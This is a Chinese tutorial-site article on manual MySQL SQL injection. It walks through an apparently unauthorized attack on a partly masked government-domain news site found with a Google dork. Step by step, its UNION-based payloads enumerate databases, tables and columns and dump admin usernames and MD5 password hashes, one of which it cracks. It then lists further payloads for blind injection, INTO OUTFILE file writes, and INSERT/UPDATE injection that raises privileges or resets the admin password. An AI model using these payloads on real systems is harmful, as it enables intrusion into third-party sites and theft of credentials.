一聚教程网:一个值得你收藏的教程网站

热门教程

MYSQL中常用sql注入整理

时间:2022-11-14 23:37:10 编辑:袖梨 来源:一聚教程网

最新在研究SQL手动注入,拿了个网站开刷。首先是找到带有SQL注入点,就去谷歌随便找了个inurl:php?id=

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228 改链接就存在SQL注入点。

第一步,进行注入测试。 最简单的方法就是 在链接后边加上 and 1=1 和 and 1=2 如果在and 1=2 显示页面不正常,而在and 1=2下显示正常,则证明 该链接存在注入点。其原理是:一般查询的语句为

select * from table where id=1

//按照这样测试就成为了

select * from table where id=1 and 1=2


第二步,在找到注入点后, 猜解当前网页的字段数

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 6

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+order by 7


Order by 6显示正常 ;order 7 显示不正常。说明字段数为6
第三步,爆出当前链接的显示位

//对应的数字就是显示的位置,显示位为 2和4

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,4,5,6–-


第四步,爆出数据库的基本信息。
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,concat(user(),0x20,database(),0x20,version()),5,6–-
用户:people@localhost 数据库名:people 版本:5.0.20a-log
爆出所有的数据库:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_schema),5,6+from+information_schema.columns--
爆出数据库名:information_schema,people,test

information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。
MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
第五部,根据数据库表进行爆出所有数据库的表名:
http://rsc.XXXx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_name),5,6+from+information_schema.tables+where+table_schema=database()--

admin1,answer,check,class,news,system,zhaoping
该页面为news.php 其数据库表肯定就是news表,
第六步,爆出admin1表里字段,再爆出的用户信息,登录后台
把admin1进行hex(16进制)的结果为:0x61646D696E31
爆出所有的字段:
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+column_name),5,6+from+information_schema.columns+where+table_name=0x61646D696E31--

字段为:id,admin,password,rank

再爆出 admin和password里的值:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6+from+admin1--

1+admin+e10adc3949ba59abbe56e057f20f883e+0,
2+87046609+e10adc3949ba59abbe56e057f20f883e+1,
3+87046607+14a026642666897df2fcdcfe821af855+2,
4+87046608+e10adc3949ba59abbe56e057f20f883e+3,
5+87046605+9511364ffd98d4ac7fa9a4804b0e5669+4,
6+87046610+e10adc3949ba59abbe56e057f20f883e+5,
7+87046606+c11948f135f946ff173ca9b5d88465ca+6

把admin的密码MD5解密下为123456,
就OK 了。


本表查询:
[url=]http://localhost/injection/user.php?username=angel'[/url] and LENGTH(password)='6
[url=]http://localhost/injection/user.php?username=angel'[/url] and LEFT(password,1)='m

Union联合语句:
[url=]http://localhost/injection/show.php?id=1'[/url] union select 1,username,password from user/*
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user/*

导出文件:
[url=]http://localhost/injection/user.php?username=angel'[/url] into outfile 'c:/file.txt
[url=]http://localhost/injection/user.php?username='[/url] or 1=1 into outfile 'c:/file.txt
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:[url=]http://4ngel.net'[/url], '3’)#
SQL语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入

1:修改homepage值为
[url=]http://4ngel.net'[/url], userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别

2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'

3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'


常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()

总结,对于注入最简单也是最容易出错的,对于新手很多数据不加以过滤,对于高级可能就是服务器或逻辑问题了。

热门栏目